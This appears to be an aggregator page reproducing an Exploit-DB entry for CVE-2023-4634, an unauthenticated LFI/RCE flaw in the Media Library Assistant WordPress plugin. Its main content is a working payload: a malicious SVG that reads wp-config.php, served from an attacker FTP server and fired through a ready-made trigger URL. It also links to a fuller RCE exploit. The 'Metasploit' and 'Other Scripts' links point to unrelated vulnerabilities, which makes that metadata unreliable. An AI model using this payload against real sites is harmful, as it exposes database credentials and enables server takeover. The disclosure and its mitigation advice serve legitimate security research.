Media Library Assistant Wordpress Plugin - RCE and LFI

vendor:

Media Library Assistant WordPress Plugin

by:

Florent MONTEL

6.1

CVSS

HIGH

Remote Code Execution (RCE) and Local File Inclusion (LFI)

CWE

Product Name: Media Library Assistant WordPress Plugin

Affected Version From: Version < 3.10

Affected Version To: None

Patch Exists: YES

Related CWE: CVE-2023-4634

CPE: a:media_library_assistant_wordpress_plugin

Metasploit: https://www.rapid7.com/db/vulnerabilities/alma_linux-cve-2023-38497/

Other Scripts: https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/unix/local/opensmtpd_oob_read_lpe

Platforms Tested: WordPress

2023

Media Library Assistant WordPress Plugin – RCE and LFI

Media Library Assistant Wordpress Plugin in version < 3.10 is affected by an unauthenticated remote reference to Imagick() conversion which allows attacker to perform LFI and RCE depending on the Imagick configuration on the remote server. The affected page is: wp-content/plugins/media-library-assistant/includes/mla-stream-image.php

Mitigation:

Update to version 3.10 or higher. Disable external access to the Imagick() function if not required.

Source

Exploit-DB raw data:

# Exploit Title: Media Library Assistant Wordpress Plugin - RCE and LFI 
# Date: 2023/09/05
# CVE: CVE-2023-4634
# Exploit Author: Florent MONTEL / Patrowl.io / @Pepitoh / Twitter @Pepito_oh
# Exploitation path: https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/
# Exploit: https://github.com/Patrowl/CVE-2023-4634/
# Vendor Homepage: https://fr.wordpress.org/plugins/media-library-assistant/
# Software Link: https://fr.wordpress.org/plugins/media-library-assistant/
# Version: < 3.10
# Tested on: 3.09
# Description:
# Media Library Assistant Wordpress Plugin in version < 3.10 is affected by an unauthenticated remote reference to Imagick() conversion which allows attacker to perform LFI and RCE depending on the Imagick configuration on the remote server. The affected page is: wp-content/plugins/media-library-assistant/includes/mla-stream-image.php


#LFI

Steps to trigger conversion of a remote SVG

Create a remote FTP server at ftp://X.X.X.X:21 (http will not work, see references)

Host 2 files :
- malicious.svg
- malicious.svg[1]


Payload:
For LFI, getting wp-config.php:

Both malicious.svg and malicious.svg[1] on the remote FTP:

<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href= "text:../../../../wp-config.php" width="500" height="500" />
</svg>

Then trigger conversion with:
http://127.0.0.1/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:21/malicious.svg&mla_debug=log&mla_stream_frame=1


# Directory listing or RCE:
To achieve Directory listing or even RCE, it is a little more complicated. 

Use exploit available here:
https://github.com/Patrowl/CVE-2023-4634/

# Note
Exploitation will depend on the policy.xml Imagick configuration file installed on the remote server. All exploitation paths and scripts have been performed with a default wordpress configuration and installation (Wordpress has high chance to have the default Imagick configuration).